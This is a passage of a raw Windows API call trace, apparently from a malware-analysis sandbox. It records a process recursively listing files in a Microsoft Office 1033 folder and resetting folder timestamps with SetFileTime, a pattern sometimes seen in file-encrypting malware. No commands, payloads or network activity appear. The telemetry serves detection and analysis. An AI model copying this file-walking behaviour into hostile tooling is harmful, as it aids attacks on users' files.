nFileSizeHigh=0x0, nFileSizeLow=0x2f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERTINTL.DLL", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVWINTL.DLL", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAXRES.DLL", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="COFFEE.CSS", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Init.xsn", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures_Sign.xsn", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPickerIntl.dll", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CT_ROOTS.XML", cAlternateFileName="")) returned 1 [0075.280] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataServices", cAlternateFileName="")) returned 1 [0075.280] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.280] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0075.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0075.361] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0075.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xac6708 [0075.361] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xac6708, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xac6708, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0075.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xac6708) returned 1 [0075.361] NtClose (Handle=0x164) returned 0x0 [0075.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0075.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0075.362] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0075.571] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.574] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="")) returned 1 [0075.575] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.576] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.576] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.579] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.583] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.584] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ad58 [0075.585] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0075.585] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaeea0 [0075.586] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9af68 [0075.587] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.589] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="")) returned 1 [0075.591] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.591] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.592] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.593] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.595] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaeec0 [0075.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b070 [0075.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.601] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0075.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaeee0 [0075.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b178 [0075.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.612] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0075.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0075.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaef00 [0075.623] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9b280 [0075.624] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0075.625] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0075.627] GetLastError () returned 0x12 [0075.629] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0075.632] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0075.635] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.637] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="+Connect to New Data Source.odc", cAlternateFileName="")) returned 1 [0075.639] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="+NewSQLServerConnection.odc", cAlternateFileName="")) returned 1 [0075.640] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKTOP.INI", cAlternateFileName="")) returned 1 [0075.642] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 1 [0075.643] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDER.ICO", cAlternateFileName="")) returned 0 [0075.644] GetLastError () returned 0x12 [0075.644] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0075.645] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0075.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9ad58) returned 1 [0075.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.674] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.VSL", cAlternateFileName="")) returned 1 [0075.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0075.676] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0075.678] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0075.679] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="")) returned 1 [0075.689] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="")) returned 1 [0075.691] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0075.692] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0075.693] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0075.694] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0075.699] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0075.702] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="")) returned 1 [0075.703] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="")) returned 1 [0075.704] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0075.705] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITRES.DLL", cAlternateFileName="")) returned 1 [0076.203] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, 